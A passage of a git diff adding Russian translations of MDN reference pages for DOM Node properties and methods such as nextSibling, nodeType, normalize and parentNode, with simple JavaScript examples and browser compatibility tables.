+<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespacePrefix" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...amespacePrefix</a></li>
+</ul>
diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html
new file mode 100644
index 0000000000..4e4c75e59e
--- /dev/null
+++ b/files/ru/web/api/node/namespaceuri/index.html
@@ -0,0 +1,45 @@
+---
+title: Node.namespaceURI
+slug: Web/API/Node/namespaceURI
+translation_of: Web/API/Node/namespaceURI
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имен URI узла или <code>null,</code> если узел не находится в пространстве имен (только для чтения). Хотя узел документа, возвращает пространство имен XML для текущего документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>namespace</em> = <em>node</em>.namespaceURI</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В этом снипнете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имен и <code>localName</code> возвращая "browser", затем узел XUL согласует <code>&lt;browser/&gt;</code>.</p>
+
+<pre class="brush:js">if (node.localName == "browser" &amp;&amp;
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Это не вычисленное значение, которое является результатом поиска имен на основе проверки декларации в области пространства имен. Пространство имен URI узла заморожена в момент создания узла.</p>
+
+<p>В Firefox 3.5 и выше, пространство имен URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Для узлов любого <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node/NodeType/Node.nodeType">nodeType</a> кроме <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> значение <code>namespaceURI</code> всегда <code>null</code>.</p>
+
+<p>Вы можите создать элемент с конкретным <code>namespaceURI</code> используйте метод DOM Level 2 <a href="/en-US/docs/DOM/document.createElementNS" title="DOM/document.createElementNS">document.createElementNS</a>.</p>
+
+<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имен в XML</a> спецификации, атрибуты не наследуют пространство имен для элемента к которому он прикреплен. Если у атрибута не задано явно пространство имен, он не имеет пространства имен.</p>
+
+<p>DOM не обрабатывает или не вынуждает проверять пространство имен как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имен</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменен</span><span>.</span></span></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-NodeNSname">DOM Level 2 Core: namespaceURI</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Namespaces-Considerations">DOM Level 2 Core: XML Namespaces</a></li>
+ <li><a href="http://www.w3.org/TR/dom/#dom-element-namespaceuri">DOM4: namespaceURI</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..cc874be72e
--- /dev/null
+++ b/files/ru/web/api/node/nextsibling/index.html
@@ -0,0 +1,83 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Node
+  - Property
+  - Свойство
+  - Узел
+  - Узлы
+translation_of: Web/API/Node/nextSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nextSibling</strong></code> используется только для чтения и возвращает узел, непосредственно следующий за данным узлом в списке  {{domxref("Node.childNodes","childNodes")}} его родительского элемента, или <code>null</code> если данный узел последний в этом списке.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<div><p>Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке.
+    Поэтому узел, полученный, например, при использовании <a href="/ru/docs/Web/API/Node/firstChild" title="Свойство Node.firstChild только для чтения, возвращающее первый потомок узла в древе или null, если узел является бездетным. Если узел это документ, он возвращает первый узел в списке своих прямых детей."><code>Node.firstChild</code></a> или <a href="/ru/docs/Web/API/Node/previousSibling" title="Свойство Node.previousSibling используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе childNodes, или null,  если указанный узел первый в своём родителе."><code>Node.previousSibling</code></a> может относиться к
+    пробелу, а не к тому элементу, который автор хотел получить.</p>
+
+    <p>Смотрите <a class="new" href="/ru/docs/Web/Guide/DOM/Whitespace_in_the_DOM" rel="nofollow">Пробел в DOM</a> и
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые?</a>
+    для дополнительной информации.</p></div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;div id="div-01"&gt;Вот div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Вот div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Потомки div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+&lt;/script&gt;
+
+/**************************************************
+  Следующий пример напишет в консоль:
+
+     Потомки div-01:
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>В приведенном выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создается пробелов между элементами, вставленных с помощью <code>document.write</code></p>
+
+<p>Возможность включения текстовых узлов в DOM должна быть разрешена, когда DOM обходится с помощью <code>nextSibling</code>. Смотрите раздел "Заметки".</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/nodename/index.html b/files/ru/web/api/node/nodename/index.html
new file mode 100644
index 0000000000..36962d050a
--- /dev/null
+++ b/files/ru/web/api/node/nodename/index.html
@@ -0,0 +1,104 @@
+---
+title: Node.nodeName
+slug: Web/API/Node/nodeName
+translation_of: Web/API/Node/nodeName
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nodeName</strong></code> только для чтения, возвращающие имя текущего узла в виде строки.</p>
+
+<p>Возвращаемое значение для различных типов узлов:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Интерфейс</th>
+   <th>значение nodeName</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Attr")}}</td>
+   <td>Значение {{domxref("Attr.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("CDATASection")}}</td>
+   <td><code>"#cdata-section"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Comment")}}</td>
+   <td><code>"#comment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td><code>"#document"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentFragment")}}</td>
+   <td><code>"#document-fragment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentType")}}</td>
+   <td>Значение {{domxref("DocumentType.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>Значение {{domxref("Element.tagName")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Entity")}}</td>
+   <td>имя сущности</td>
+  </tr>
+  <tr>
+   <td>{{domxref("EntityReference")}}</td>
+   <td>Имя сущности ссылки</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notation")}}</td>
+   <td>Название обозначения</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>
+    <p>Значение {{domxref("ProcessingInstruction.target")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("Text")}}</td>
+   <td><code>"#text"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>str</em> = <em>node</em>.nodeName;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Учитывая следующую разметку:</p>
+
+<pre class="brush:html">&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+
+<p>и следующий скрипт:</p>
+
+<pre class="brush:js">var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+</pre>
+
+<p>В XHTML (или любых других форматов XML), значение <code>text_field</code> будет прочитано как "div". Тем не мение, в HTML, значение <code>text_field</code> будет прочитано  как "DIV", потому что <code>nodeName</code> и <code>tagName</code> возвращают в верхнем регистре элементы HTML в DOM помеченом как HTML документ. Узнайте больше <a href="http://ejohn.org/blog/nodename-case-sensitivity/">деталей о чувствительности регистра nodeName в различных браузерах.</a></p>
+
+<p>Обратите внимание, что свойство <code><a href="/en-US/docs/DOM/element.tagName" title="DOM/element.tagName">tagName</a></code> можно было бы использовать вместо него, поскольку <code>nodeName</code> имеет тоже значение что и <code>tagName</code> для элемента. Однако имейте в виду, что <code>nodeName</code> будет возвращать <code>#text</code> для текстого узла, в то время как <code>tagName</code> будет возвращать <code>undefined</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nodeprincipal/index.html b/files/ru/web/api/node/nodeprincipal/index.html
new file mode 100644
index 0000000000..7f654f83f4
--- /dev/null
+++ b/files/ru/web/api/node/nodeprincipal/index.html
@@ -0,0 +1,28 @@
+---
+title: Node.nodePrincipal
+slug: Web/API/Node/nodePrincipal
+translation_of: Web/API/Node
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+{{Non-standard_header}}
+
+<p>Свойство <code><strong>Node.nodePrincipal</strong></code> только для чтения, возвращающее объект {{Interface("nsIPrincipal")}}, представляющий текущий контекст безопасности узла.</p>
+
+<p>{{Note("Это свойство существует во всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать chrome привилегии.")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>principalObj</em> = element.nodePrincipal
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это свойство только для чтения; пытаясь вводить информацию в него, будет сбрасывать исключение.<span id="result_box" lang="ru"><span class="hps">Кроме того,</span> <span class="hps">это свойство может</span> <span class="hps">быть</span> <span class="hps">доступно только для</span> <span class="hps">привилегированного</span> <span class="hps">кода.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Нет никакой спецификации.</p>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/api/node/nodetype/index.html b/files/ru/web/api/node/nodetype/index.html
new file mode 100644
index 0000000000..607596cc83
--- /dev/null
+++ b/files/ru/web/api/node/nodetype/index.html
@@ -0,0 +1,93 @@
+---
+title: Node.nodeType
+slug: Web/API/Node/nodeType
+translation_of: Web/API/Node/nodeType
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Доступное только для чтения свойство <code>Node.nodeType</code> возвращает беззнаковое короткое целочисленное значение, представляющее тип узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>type</var> = <var>node</var>.nodeType;
+</pre>
+
+<p><code>type</code> – беззнаковое короткое целочисленное значение с одним из следующих значений:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Element"><code>ELEMENT_NODE</code></a></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/Text"><code>TEXT_NODE</code></a></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>5</code></td>
+  </tr>
+  <tr>
+   <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ProcessingInstruction"><code>PROCESSING_INSTRUCTION_NODE</code></a></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.createComment"><code>COMMENT_NODE</code></a></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/HTML/Element/html"><code>DOCUMENT_NODE</code></a></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/document.doctype"><code>DOCUMENT_TYPE_NODE</code></a></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/DocumentFragment"><code>DOCUMENT_FRAGMENT_NODE</code></a></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+   <td><code>12</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В примере проверяется, является ли первый узел внутри <code>documentElement</code> узлом комментария, если нет, то выводится сообщение.</p>
+
+<pre class="brush: js">var node = document.documentElement.firstChild;
+if (node.nodeType != Node.COMMENT_NODE)
+  console.log("You should comment your code well!");
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-111237558">DOM Level 2 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-111237558">DOM Level 3 Core: Node.nodeType</a></li>
+ <li><a class="external" href="http://dom.spec.whatwg.org/#node">DOM Standard</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nodevalue/index.html b/files/ru/web/api/node/nodevalue/index.html
new file mode 100644
index 0000000000..62655c1875
--- /dev/null
+++ b/files/ru/web/api/node/nodevalue/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.nodeValue
+slug: Web/API/Node/nodeValue
+translation_of: Web/API/Node/nodeValue
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nodeValue</strong></code> возвращает или устанавливает значение текущего узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>value</var> = <var>node</var>.nodeValue;
+</pre>
+
+<p><code>value</code> это строка содержащая значение текущего узла, если таковой имеется.</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Для самого документа, <code>nodeValue</code> возвращает <code>null</code>. Для текста, коментария и CDATA узлов, <code>nodeValue</code> возвращает содержимое узла. Для узла атрибута, вернется значение атрибута.</p>
+
+<p>Следующая таблица, показывает возвращаемые значения различных элементов:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Attr</th>
+   <th>Значение атрибута</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>CDATASection</td>
+   <td>Содержимое секции CDATA</td>
+  </tr>
+  <tr>
+   <td>Comment</td>
+   <td>Содержимое комментария</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>DocumentType</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Element</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>NamedNodeMap</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>EntityReference</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>Notation</td>
+   <td>null</td>
+  </tr>
+  <tr>
+   <td>ProcessingInstruction</td>
+   <td>Все содержимое исключая цель</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>Содержимое текстового узла</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Когда <code>nodeValue</code> равно <code>null</code>, установки не имеют эффекта.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D080">DOM Level 2 Core: Node.nodeValue</a></li>
+</ul>
diff --git a/files/ru/web/api/node/normalize/index.html b/files/ru/web/api/node/normalize/index.html
new file mode 100644
index 0000000000..03c5d9e044
--- /dev/null
+++ b/files/ru/web/api/node/normalize/index.html
@@ -0,0 +1,43 @@
+---
+title: Node.normalize()
+slug: Web/API/Node/normalize
+translation_of: Web/API/Node/normalize
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.normalize()</strong></code> преобразует указанный узел и все его под-деревья в "нормализованный" вид. В нормализованном под-дереве нет ни пустых, ни смежных текстовых узлов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>element</em>.normalize();
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">var wrapper = document.createElement("div");
+
+wrapper.appendChild( document.createTextNode("Part 1 ") );
+wrapper.appendChild( document.createTextNode("Part 2 ") );
+
+// At this point, wrapper.childNodes.length === 2
+// wrapper.childNodes[0].textContent === "Part 1 "
+// wrapper.childNodes[1].textContent === "Part 2 "
+
+wrapper.normalize();
+
+// Now, wrapper.childNodes.length === 1
+// wrapper.childNodes[0].textContent === "Part 1 Part 2 "</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-normalize">DOM Level 2 Core: Node.normalize</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Text.splitText" title="DOM/Text.splitText"><code>Text.splitText</code></a></li>
+</ul>
diff --git a/files/ru/web/api/node/ownerdocument/index.html b/files/ru/web/api/node/ownerdocument/index.html
new file mode 100644
index 0000000000..5c0fa52e58
--- /dev/null
+++ b/files/ru/web/api/node/ownerdocument/index.html
@@ -0,0 +1,94 @@
+---
+title: Node.ownerDocument
+slug: Web/API/Node/ownerDocument
+translation_of: Web/API/Node/ownerDocument
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.ownerDocument</strong></code> только для чтения, возвращающее объект документа верхнего уровня для этого узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>document</em> = element.ownerDocument
+</pre>
+
+<ul>
+ <li><code>document</code> это объект <a href="/en-US/docs/DOM/document" title="DOM/document"><code>document</code></a> родитель текущего элемента.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// given a node "p", get the top-level HTML child
+// of the document object
+
+var d = p.ownerDocument;
+var html = d.documentElement;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Объект <code>document</code>, возвращаемый этим свойством, это основной объект с которым все дочерние узлы в настоящем  HTML документе созданы. Если это свойство используется для узла самого документа, результат будет <code>null</code>.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0 [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <a href="http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/ie/ms534315(v=vs.85).aspx</a></p>
+
+<h3 id="Gecko_примечание">Gecko примечание</h3>
+
+<p>Начиная с Gecko 9.0 {{geckoRelease("9.0")}}, <code>ownerDocument</code> узлы doctype (т.е. для которых {{domxref("Node.nodeType")}} это <code>Node.DOCUMENT_TYPE_NODE</code> или 10) больше не null. Вместо этого,  <code>ownerDocument</code> это документ по которому <a href="/en-US/docs/DOM/DOMImplementation.createDocumentType" title="DOM/DOMImplementation.createDocumentType"><code>document.implementation.createDocumentType()</code></a> будет вызван.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#node-ownerDoc">DOM Level 2 Core: Node.ownerDocument</a></li>
+</ul>
diff --git a/files/ru/web/api/node/parentelement/index.html b/files/ru/web/api/node/parentelement/index.html
new file mode 100644
index 0000000000..da4c085552
--- /dev/null
+++ b/files/ru/web/api/node/parentelement/index.html
@@ -0,0 +1,86 @@
+---
+title: Node.parentElement
+slug: Web/API/Node/parentElement
+translation_of: Web/API/Node/parentElement
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.parentElement</strong></code> только для чтения, возвращает родителя узла DOM {{domxref("Element")}}, или <code>null</code> если узел не имеет родителя, или его родитель не DOM {{domxref("Element")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>parentElement</em> = <em>node</em>.parentElement</pre>
+
+<p><code>parentElement</code> это родительский элемент текущего узла. Это всегда объект DOM {{domxref("Element")}}, или <code>null</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (node.parentElement) {
+    node.parentElement.style.color = "red";
+}</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>В некоторых браузерах, свойство <code>parentElement</code> определено только для узлов, которые сами {{domxref("Element")}}. В частности, не определено для текстовых узлов.</p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая подержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatVersionUnknown}} (only on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}} (only on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{spec("http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#parent-element", "DOM Level 4: Node.parentElement", "WD")}}</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.parentNode")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/parentnode/index.html b/files/ru/web/api/node/parentnode/index.html
new file mode 100644
index 0000000000..139880247f
--- /dev/null
+++ b/files/ru/web/api/node/parentnode/index.html
@@ -0,0 +1,102 @@
+---
+title: Node.parentNode
+slug: Web/API/Node/parentNode
+tags:
+  - API
+  - DOM
+  - Method
+translation_of: Web/API/Node/parentNode
+---
+<div>{{ApiRef}}</div>
+
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p>Возвращает родителя определенного элемента DOM дерева.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>parentNode</em> = <em>node</em>.parentNode
+</pre>
+
+<p><code>parentNode</code> родитель текущего элемента. Родитель элемента является <code>Element</code> узлом, <code>Document</code> узлом, или <code>DocumentFragment</code> узлом.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (node.parentNode) {
+  // удаляем элемент из дерева
+  node.parentNode.removeChild(node);
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>Document</code> и <code>DocumentFragment</code> <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">nodes</a> <em> могут не иметь родителя</em>, в этом случае <code>parentNode</code> всегда возвращает <code>null</code>.</p>
+
+<p>Так же возвращает <code>null</code> если элемент только был создан и еще не добавлен в DOM дерево.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>0.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1060184317">DOM Level 3 Core: Node.parentNode</a></li>
+</ul>
+
